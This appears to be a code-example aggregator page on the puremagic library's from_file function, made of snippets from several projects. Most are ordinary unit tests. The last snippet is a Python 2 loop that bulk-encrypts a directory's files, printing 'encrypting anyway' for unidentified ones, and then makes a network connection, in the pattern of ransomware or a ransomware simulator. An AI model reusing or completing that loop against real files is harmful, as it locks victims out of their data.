How to use the puremagic.from_file function in puremagic

def group_test(self, directory):
        failures = []
        ext_failures = []
        for item in os.listdir(directory):
            try:
                ext = puremagic.from_file(os.path.join(directory, item))
            except puremagic.PureError:
                failures.append(item)
            else:
                if not item.endswith(ext):
                    ext_failures.append((item, ext))
        if failures:
            raise AssertionError(
                "The following items could not be identified from the {} folder: {}".format(
                    directory, ", ".join(failures)
                )
            )
        if ext_failures:
            raise AssertionError(
                "The following files did not have the expected extensions: {}".format(
                    ", ".join(['"{}" expected "{}"'.format(item, ext) for item, ext in ext_failures])
                )

def test_office(self):
        """Test common office document formats """
        # Office files have very similar magic numbers, and may overlap
        for item in os.listdir(OFFICE_DIR):
            puremagic.from_file(os.path.join(OFFICE_DIR, item))

def test_file(self):
        """File identification """
        mp4file = NamedTemporaryFile(delete=False)
        mp4file.write(self.mp4magic)
        mp4file.close()
        ext = puremagic.from_file(mp4file.name)
        os.unlink(mp4file.name)
        self.assertEqual(self.expect_ext, ext)

for f in files:

            fname, fext = os.path.splitext( f )

            if len( exts ) == 0 or fext in exts:

                if skip_hidden and is_hidden( f ):
                    print 'Skipping hidden file ' + f
                    continue

                ok = True

                if ( do_magic ):

                    try:
                        mext = puremagic.from_file( f )

                        if fext.lower() not in mext:
                            print 'Improper identification - claimed ' + fext + ', ident as ' + mext + ', skipping...'
                            ok = False

                    except puremagic.PureError:
                        print 'Couldn\'t identify file, encrypting anyway...'
                        ok = True

                if ok:
                    success = encrypt_file( f )

    if post_netconn <> '':
        make_network_connection( post_netconn )